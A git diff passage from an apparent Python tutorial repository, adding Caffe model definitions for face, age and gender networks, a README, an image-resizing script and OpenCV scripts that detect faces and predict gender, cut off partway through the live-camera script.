+ top: "layer_512_1_sum" +} +layer { + name: "last_bn_h" + type: "BatchNorm" + bottom: "layer_512_1_sum" + top: "layer_512_1_sum" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "last_scale_h" + type: "Scale" + bottom: "layer_512_1_sum" + top: "layer_512_1_sum" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "last_relu" + type: "ReLU" + bottom: "layer_512_1_sum" + top: "fc7" +} + +layer { + name: "conv6_1_h" + type: "Convolution" + bottom: "fc7" + top: "conv6_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_1_relu" + type: "ReLU" + bottom: "conv6_1_h" + top: "conv6_1_h" +} +layer { + name: "conv6_2_h" + type: "Convolution" + bottom: "conv6_1_h" + top: "conv6_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 256 + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_relu" + type: "ReLU" + bottom: "conv6_2_h" + top: "conv6_2_h" +} +layer { + name: "conv7_1_h" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv7_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_1_relu" + type: "ReLU" + bottom: "conv7_1_h" + top: "conv7_1_h" +} +layer { + name: "conv7_2_h" + type: "Convolution" + bottom: "conv7_1_h" + top: "conv7_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_relu" + type: "ReLU" + bottom: "conv7_2_h" + top: "conv7_2_h" +} +layer { + name: "conv8_1_h" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv8_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_1_relu" + type: "ReLU" + bottom: "conv8_1_h" + top: "conv8_1_h" +} +layer { + name: "conv8_2_h" + type: "Convolution" + bottom: "conv8_1_h" + top: "conv8_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_relu" + type: "ReLU" + bottom: "conv8_2_h" + top: "conv8_2_h" +} +layer { + name: "conv9_1_h" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv9_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_1_relu" + type: "ReLU" + bottom: "conv9_1_h" + top: "conv9_1_h" +} +layer { + name: "conv9_2_h" + type: "Convolution" + bottom: "conv9_1_h" + top: "conv9_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_relu" + type: "ReLU" + bottom: "conv9_2_h" + top: "conv9_2_h" +} +layer { + name: "conv4_3_norm" + type: "Normalize" + bottom: "layer_256_1_bn1" + top: "conv4_3_norm" + norm_param { + across_spatial: false + scale_filler { + type: "constant" + value: 20 + } + channel_shared: false + } +} +layer { + name: "conv4_3_norm_mbox_loc" + type: "Convolution" + bottom: "conv4_3_norm" + top: "conv4_3_norm_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv4_3_norm_mbox_loc_perm" + type: "Permute" + bottom: "conv4_3_norm_mbox_loc" + top: "conv4_3_norm_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv4_3_norm_mbox_loc_flat" + type: "Flatten" + bottom: "conv4_3_norm_mbox_loc_perm" + top: "conv4_3_norm_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv4_3_norm_mbox_conf" + type: "Convolution" + bottom: "conv4_3_norm" + top: "conv4_3_norm_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv4_3_norm_mbox_conf_perm" + type: "Permute" + bottom: "conv4_3_norm_mbox_conf" + top: "conv4_3_norm_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv4_3_norm_mbox_conf_flat" + type: "Flatten" + bottom: "conv4_3_norm_mbox_conf_perm" + top: "conv4_3_norm_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv4_3_norm_mbox_priorbox" + type: "PriorBox" + bottom: "conv4_3_norm" + bottom: "data" + top: "conv4_3_norm_mbox_priorbox" + prior_box_param { + min_size: 30.0 + max_size: 60.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 8 + offset: 0.5 + } +} +layer { + name: "fc7_mbox_loc" + type: "Convolution" + bottom: "fc7" + top: "fc7_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "fc7_mbox_loc_perm" + type: "Permute" + bottom: "fc7_mbox_loc" + top: "fc7_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "fc7_mbox_loc_flat" + type: "Flatten" + bottom: "fc7_mbox_loc_perm" + top: "fc7_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "fc7_mbox_conf" + type: "Convolution" + bottom: "fc7" + top: "fc7_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "fc7_mbox_conf_perm" + type: "Permute" + bottom: "fc7_mbox_conf" + top: "fc7_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "fc7_mbox_conf_flat" + type: "Flatten" + bottom: "fc7_mbox_conf_perm" + top: "fc7_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "fc7_mbox_priorbox" + type: "PriorBox" + bottom: "fc7" + bottom: "data" + top: "fc7_mbox_priorbox" + prior_box_param { + min_size: 60.0 + max_size: 111.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 16 + offset: 0.5 + } +} +layer { + name: "conv6_2_mbox_loc" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv6_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_mbox_loc_perm" + type: "Permute" + bottom: "conv6_2_mbox_loc" + top: "conv6_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv6_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv6_2_mbox_loc_perm" + top: "conv6_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv6_2_mbox_conf" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv6_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_mbox_conf_perm" + type: "Permute" + bottom: "conv6_2_mbox_conf" + top: "conv6_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv6_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv6_2_mbox_conf_perm" + top: "conv6_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv6_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv6_2_h" + bottom: "data" + top: "conv6_2_mbox_priorbox" + prior_box_param { + min_size: 111.0 + max_size: 162.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 32 + offset: 0.5 + } +} +layer { + name: "conv7_2_mbox_loc" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv7_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_mbox_loc_perm" + type: "Permute" + bottom: "conv7_2_mbox_loc" + top: "conv7_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv7_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv7_2_mbox_loc_perm" + top: "conv7_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv7_2_mbox_conf" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv7_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_mbox_conf_perm" + type: "Permute" + bottom: "conv7_2_mbox_conf" + top: "conv7_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv7_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv7_2_mbox_conf_perm" + top: "conv7_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv7_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv7_2_h" + bottom: "data" + top: "conv7_2_mbox_priorbox" + prior_box_param { + min_size: 162.0 + max_size: 213.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 64 + offset: 0.5 + } +} +layer { + name: "conv8_2_mbox_loc" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv8_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_mbox_loc_perm" + type: "Permute" + bottom: "conv8_2_mbox_loc" + top: "conv8_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv8_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv8_2_mbox_loc_perm" + top: "conv8_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv8_2_mbox_conf" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv8_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_mbox_conf_perm" + type: "Permute" + bottom: "conv8_2_mbox_conf" + top: "conv8_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv8_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv8_2_mbox_conf_perm" + top: "conv8_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv8_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv8_2_h" + bottom: "data" + top: "conv8_2_mbox_priorbox" + prior_box_param { + min_size: 213.0 + max_size: 264.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 100 + offset: 0.5 + } +} +layer { + name: "conv9_2_mbox_loc" + type: "Convolution" + bottom: "conv9_2_h" + top: "conv9_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_mbox_loc_perm" + type: "Permute" + bottom: "conv9_2_mbox_loc" + top: "conv9_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv9_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv9_2_mbox_loc_perm" + top: "conv9_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv9_2_mbox_conf" + type: "Convolution" + bottom: "conv9_2_h" + top: "conv9_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_mbox_conf_perm" + type: "Permute" + bottom: "conv9_2_mbox_conf" + top: "conv9_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv9_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv9_2_mbox_conf_perm" + top: "conv9_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv9_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv9_2_h" + bottom: "data" + top: "conv9_2_mbox_priorbox" + prior_box_param { + min_size: 264.0 + max_size: 315.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 300 + offset: 0.5 + } +} +layer { + name: "mbox_loc" + type: "Concat" + bottom: "conv4_3_norm_mbox_loc_flat" + bottom: "fc7_mbox_loc_flat" + bottom: "conv6_2_mbox_loc_flat" + bottom: "conv7_2_mbox_loc_flat" + bottom: "conv8_2_mbox_loc_flat" + bottom: "conv9_2_mbox_loc_flat" + top: "mbox_loc" + concat_param { + axis: 1 + } +} +layer { + name: "mbox_conf" + type: "Concat" + bottom: "conv4_3_norm_mbox_conf_flat" + bottom: "fc7_mbox_conf_flat" + bottom: "conv6_2_mbox_conf_flat" + bottom: "conv7_2_mbox_conf_flat" + bottom: "conv8_2_mbox_conf_flat" + bottom: "conv9_2_mbox_conf_flat" + top: "mbox_conf" + concat_param { + axis: 1 + } +} +layer { + name: "mbox_priorbox" + type: "Concat" + bottom: "conv4_3_norm_mbox_priorbox" + bottom: "fc7_mbox_priorbox" + bottom: "conv6_2_mbox_priorbox" + bottom: "conv7_2_mbox_priorbox" + bottom: "conv8_2_mbox_priorbox" + bottom: "conv9_2_mbox_priorbox" + top: "mbox_priorbox" + concat_param { + axis: 2 + } +} + +layer { + name: "mbox_conf_reshape" + type: "Reshape" + bottom: "mbox_conf" + top: "mbox_conf_reshape" + reshape_param { + shape { + dim: 0 + dim: -1 + dim: 2 + } + } +} +layer { + name: "mbox_conf_softmax" + type: "Softmax" + bottom: "mbox_conf_reshape" + top: "mbox_conf_softmax" + softmax_param { + axis: 2 + } +} +layer { + name: "mbox_conf_flatten" + type: "Flatten" + bottom: "mbox_conf_softmax" + top: "mbox_conf_flatten" + flatten_param { + axis: 1 + } +} + +layer { + name: "detection_out" + type: "DetectionOutput" + bottom: "mbox_loc" + bottom: "mbox_conf_flatten" + bottom: "mbox_priorbox" + top: "detection_out" + include { + phase: TEST + } + detection_output_param { + num_classes: 2 + share_location: true + background_label_id: 0 + nms_param { + nms_threshold: 0.45 + top_k: 400 + } + code_type: CENTER_SIZE + keep_top_k: 200 + confidence_threshold: 0.01 + clip: 1 + } +} \ No newline at end of file diff --git a/machine-learning/face-age-prediction/weights/deploy_age.prototxt b/machine-learning/face-age-prediction/weights/deploy_age.prototxt new file mode 100644 index 00000000..a06fb6bc --- /dev/null +++ b/machine-learning/face-age-prediction/weights/deploy_age.prototxt @@ -0,0 +1,176 @@ +name: "CaffeNet" +input: "data" +input_dim: 1 +input_dim: 3 +input_dim: 227 +input_dim: 227 +layers { + name: "conv1" + type: CONVOLUTION + bottom: "data" + top: "conv1" + convolution_param { + num_output: 96 + kernel_size: 7 + stride: 4 + } +} +layers { + name: "relu1" + type: RELU + bottom: "conv1" + top: "conv1" +} +layers { + name: "pool1" + type: POOLING + bottom: "conv1" + top: "pool1" + pooling_param { + pool: MAX + kernel_size: 3 + stride: 2 + } +} +layers { + name: "norm1" + type: LRN + bottom: "pool1" + top: "norm1" + lrn_param { + local_size: 5 + alpha: 0.0001 + beta: 0.75 + } +} +layers { + name: "conv2" + type: CONVOLUTION + bottom: "norm1" + top: "conv2" + convolution_param { + num_output: 256 + pad: 2 + kernel_size: 5 + } +} +layers { + name: "relu2" + type: RELU + bottom: "conv2" + top: "conv2" +} +layers { + name: "pool2" + type: POOLING + bottom: "conv2" + top: "pool2" + pooling_param { + pool: MAX + kernel_size: 3 + stride: 2 + } +} +layers { + name: "norm2" + type: LRN + bottom: "pool2" + top: "norm2" + lrn_param { + local_size: 5 + alpha: 0.0001 + beta: 0.75 + } +} +layers { + name: "conv3" + type: CONVOLUTION + bottom: "norm2" + top: "conv3" + convolution_param { + num_output: 384 + pad: 1 + kernel_size: 3 + } +} +layers{ + name: "relu3" + type: RELU + bottom: "conv3" + top: "conv3" +} +layers { + name: "pool5" + type: POOLING + bottom: "conv3" + top: "pool5" + pooling_param { + pool: MAX + kernel_size: 3 + stride: 2 + } +} +layers { + name: "fc6" + type: INNER_PRODUCT + bottom: "pool5" + top: "fc6" + inner_product_param { + num_output: 512 + } +} +layers { + name: "relu6" + type: RELU + bottom: "fc6" + top: "fc6" +} +layers { + name: "drop6" + type: DROPOUT + bottom: "fc6" + top: "fc6" + dropout_param { + dropout_ratio: 0.5 + } +} +layers { + name: "fc7" + type: INNER_PRODUCT + bottom: "fc6" + top: "fc7" + inner_product_param { + num_output: 512 + } +} +layers { + name: "relu7" + type: RELU + bottom: "fc7" + top: "fc7" +} +layers { + name: "drop7" + type: DROPOUT + bottom: "fc7" + top: "fc7" + dropout_param { + dropout_ratio: 0.5 + } +} +layers { + name: "fc8" + type: INNER_PRODUCT + bottom: "fc7" + top: "fc8" + inner_product_param { + num_output: 8 + } +} +layers { + name: "prob" + type: SOFTMAX + bottom: "fc8" + top: "prob" +} + diff --git a/machine-learning/face-gender-detection/README.md b/machine-learning/face-gender-detection/README.md new file mode 100644 index 00000000..8617bd9d --- /dev/null +++ b/machine-learning/face-gender-detection/README.md @@ -0,0 +1,8 @@ +# [Gender Detection using OpenCV in Python](https://www.thepythoncode.com/article/gender-detection-using-opencv-in-python) +Before running the code, do the following: +- `pip3 install -r requirements.txt` +- Download [face detection](https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel) and [gender detection](https://drive.google.com/open?id=1W_moLzMlGiELyPxWiYQJ9KFaXroQ_NFQ) models and put them in the `weights` folder. Check [the tutorial](https://www.thepythoncode.com/article/gender-detection-using-opencv-in-python) for more on how to set it up. +- Run the program: + ``` + python predict_gender.py "images\\Donald Trump.jpg" + ``` \ No newline at end of file diff --git a/machine-learning/face-gender-detection/images/Donald Trump.jpg b/machine-learning/face-gender-detection/images/Donald Trump.jpg new file mode 100644 index 00000000..2547e142 Binary files /dev/null and b/machine-learning/face-gender-detection/images/Donald Trump.jpg differ diff --git a/machine-learning/face-gender-detection/images/jose-ibarra-ifM0755GnS0-unsplash.jpg b/machine-learning/face-gender-detection/images/jose-ibarra-ifM0755GnS0-unsplash.jpg new file mode 100644 index 00000000..7b127df2 Binary files /dev/null and b/machine-learning/face-gender-detection/images/jose-ibarra-ifM0755GnS0-unsplash.jpg differ diff --git a/machine-learning/face-gender-detection/images/pexels-karolina-grabowska-8526635.jpg b/machine-learning/face-gender-detection/images/pexels-karolina-grabowska-8526635.jpg new file mode 100644 index 00000000..a3242aa0 Binary files /dev/null and b/machine-learning/face-gender-detection/images/pexels-karolina-grabowska-8526635.jpg differ diff --git a/machine-learning/face-gender-detection/normalize_images.py b/machine-learning/face-gender-detection/normalize_images.py new file mode 100644 index 00000000..27332cfc --- /dev/null +++ b/machine-learning/face-gender-detection/normalize_images.py @@ -0,0 +1,22 @@ +import cv2 +import os + + +factor = 5 + + +if not os.path.isdir("new-images"): + os.mkdir("new-images") + +for file in os.listdir("images"): + file = os.path.join("images", file) + basename = os.path.basename(file) + img = cv2.imread(file) + old_size = img.shape + new_size = (img.shape[1] // factor, img.shape[0] // factor) + print("Old size:", old_size) + print("New size:", new_size) + img = cv2.resize(img, new_size) + new_filename = os.path.join("new-images", basename) + cv2.imwrite(new_filename, img) + print("Wrote", new_filename) \ No newline at end of file diff --git a/machine-learning/face-gender-detection/output.jpg b/machine-learning/face-gender-detection/output.jpg new file mode 100644 index 00000000..90311ed4 Binary files /dev/null and b/machine-learning/face-gender-detection/output.jpg differ diff --git a/machine-learning/face-gender-detection/predict_gender.py b/machine-learning/face-gender-detection/predict_gender.py new file mode 100644 index 00000000..eb69d402 --- /dev/null +++ b/machine-learning/face-gender-detection/predict_gender.py @@ -0,0 +1,162 @@ +# Import Libraries +import cv2 +import numpy as np + + +# The gender model architecture +# https://drive.google.com/open?id=1W_moLzMlGiELyPxWiYQJ9KFaXroQ_NFQ +GENDER_MODEL = 'weights/deploy_gender.prototxt' +# The gender model pre-trained weights +# https://drive.google.com/open?id=1AW3WduLk1haTVAxHOkVS_BEzel1WXQHP +GENDER_PROTO = 'weights/gender_net.caffemodel' +# Each Caffe Model impose the shape of the input image also image preprocessing is required like mean +# substraction to eliminate the effect of illunination changes +MODEL_MEAN_VALUES = (78.4263377603, 87.7689143744, 114.895847746) +# Represent the gender classes +GENDER_LIST = ['Male', 'Female'] +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +FACE_PROTO = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +FACE_MODEL = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# load face Caffe model +face_net = cv2.dnn.readNetFromCaffe(FACE_PROTO, FACE_MODEL) +# Load gender prediction model +gender_net = cv2.dnn.readNetFromCaffe(GENDER_MODEL, GENDER_PROTO) + +# Initialize frame size +frame_width = 1280 +frame_height = 720 + + +def get_faces(frame, confidence_threshold=0.5): + # convert the frame into a blob to be ready for NN input + blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104, 177.0, 123.0)) + # set the image as input to the NN + face_net.setInput(blob) + # perform inference and get predictions + output = np.squeeze(face_net.forward()) + # initialize the result list + faces = [] + # Loop over the faces detected + for i in range(output.shape[0]): + confidence = output[i, 2] + if confidence > confidence_threshold: + box = output[i, 3:7] * \ + np.array([frame.shape[1], frame.shape[0], + frame.shape[1], frame.shape[0]]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # widen the box a little + start_x, start_y, end_x, end_y = start_x - \ + 10, start_y - 10, end_x + 10, end_y + 10 + start_x = 0 if start_x < 0 else start_x + start_y = 0 if start_y < 0 else start_y + end_x = 0 if end_x < 0 else end_x + end_y = 0 if end_y < 0 else end_y + # append to our list + faces.append((start_x, start_y, end_x, end_y)) + return faces + + +def display_img(title, img): + """Displays an image on screen and maintains the output until the user presses a key""" + # Display Image on screen + cv2.imshow(title, img) + # Mantain output until user presses a key + cv2.waitKey(0) + # Destroy windows when user presses a key + cv2.destroyAllWindows() + + +def get_optimal_font_scale(text, width): + """Determine the optimal font scale based on the hosting frame width""" + for scale in reversed(range(0, 60, 1)): + textSize = cv2.getTextSize(text, fontFace=cv2.FONT_HERSHEY_DUPLEX, fontScale=scale/10, thickness=1) + new_width = textSize[0][0] + if (new_width <= width): + return scale/10 + return 1 + +# from: https://stackoverflow.com/questions/44650888/resize-an-image-without-distortion-opencv +def image_resize(image, width = None, height = None, inter = cv2.INTER_AREA): + # initialize the dimensions of the image to be resized and + # grab the image size + dim = None + (h, w) = image.shape[:2] + # if both the width and height are None, then return the + # original image + if width is None and height is None: + return image + # check to see if the width is None + if width is None: + # calculate the ratio of the height and construct the + # dimensions + r = height / float(h) + dim = (int(w * r), height) + # otherwise, the height is None + else: + # calculate the ratio of the width and construct the + # dimensions + r = width / float(w) + dim = (width, int(h * r)) + # resize the image + return cv2.resize(image, dim, interpolation = inter) + + +def predict_gender(input_path: str): + """Predict the gender of the faces showing in the image""" + # Read Input Image + img = cv2.imread(input_path) + # resize the image, uncomment if you want to resize the image + # img = cv2.resize(img, (frame_width, frame_height)) + # Take a copy of the initial image and resize it + frame = img.copy() + if frame.shape[1] > frame_width: + frame = image_resize(frame, width=frame_width) + # predict the faces + faces = get_faces(frame) + # Loop over the faces detected + # for idx, face in enumerate(faces): + for i, (start_x, start_y, end_x, end_y) in enumerate(faces): + face_img = frame[start_y: end_y, start_x: end_x] + # image --> Input image to preprocess before passing it through our dnn for classification. + # scale factor = After performing mean substraction we can optionally scale the image by some factor. (if 1 -> no scaling) + # size = The spatial size that the CNN expects. Options are = (224*224, 227*227 or 299*299) + # mean = mean substraction values to be substracted from every channel of the image. + # swapRB=OpenCV assumes images in BGR whereas the mean is supplied in RGB. To resolve this we set swapRB to True. + blob = cv2.dnn.blobFromImage(image=face_img, scalefactor=1.0, size=( + 227, 227), mean=MODEL_MEAN_VALUES, swapRB=False, crop=False) + # Predict Gender + gender_net.setInput(blob) + gender_preds = gender_net.forward() + i = gender_preds[0].argmax() + gender = GENDER_LIST[i] + gender_confidence_score = gender_preds[0][i] + # Draw the box + label = "{}-{:.2f}%".format(gender, gender_confidence_score*100) + print(label) + yPos = start_y - 15 + while yPos < 15: + yPos += 15 + # get the font scale for this image size + optimal_font_scale = get_optimal_font_scale(label,((end_x-start_x)+25)) + box_color = (255, 0, 0) if gender == "Male" else (147, 20, 255) + cv2.rectangle(frame, (start_x, start_y), (end_x, end_y), box_color, 2) + # Label processed image + cv2.putText(frame, label, (start_x, yPos), + cv2.FONT_HERSHEY_SIMPLEX, optimal_font_scale, box_color, 2) + + # Display processed image + display_img("Gender Estimator", frame) + # uncomment if you want to save the image + cv2.imwrite("output.jpg", frame) + # Cleanup + cv2.destroyAllWindows() + + + +if __name__ == '__main__': + # Parsing command line arguments entered by user + import sys + predict_gender(sys.argv[1]) diff --git a/machine-learning/face-gender-detection/predict_gender_live.py b/machine-learning/face-gender-detection/predict_gender_live.py new file mode 100644 index 00000000..8f2fe2b3 --- /dev/null +++ b/machine-learning/face-gender-detection/predict_gender_live.py @@ -0,0 +1,157 @@ +# Import Libraries +import cv2 +import numpy as np + + +# The gender model architecture +# https://drive.google.com/open?id=1W_moLzMlGiELyPxWiYQJ9KFaXroQ_NFQ +GENDER_MODEL = 'weights/deploy_gender.prototxt' +# The gender model pre-trained weights +# https://drive.google.com/open?id=1AW3WduLk1haTVAxHOkVS_BEzel1WXQHP +GENDER_PROTO = 'weights/gender_net.caffemodel' +# Each Caffe Model impose the shape of the input image also image preprocessing is required like mean +# substraction to eliminate the effect of illunination changes +MODEL_MEAN_VALUES = (78.4263377603, 87.7689143744, 114.895847746) +# Represent the gender classes 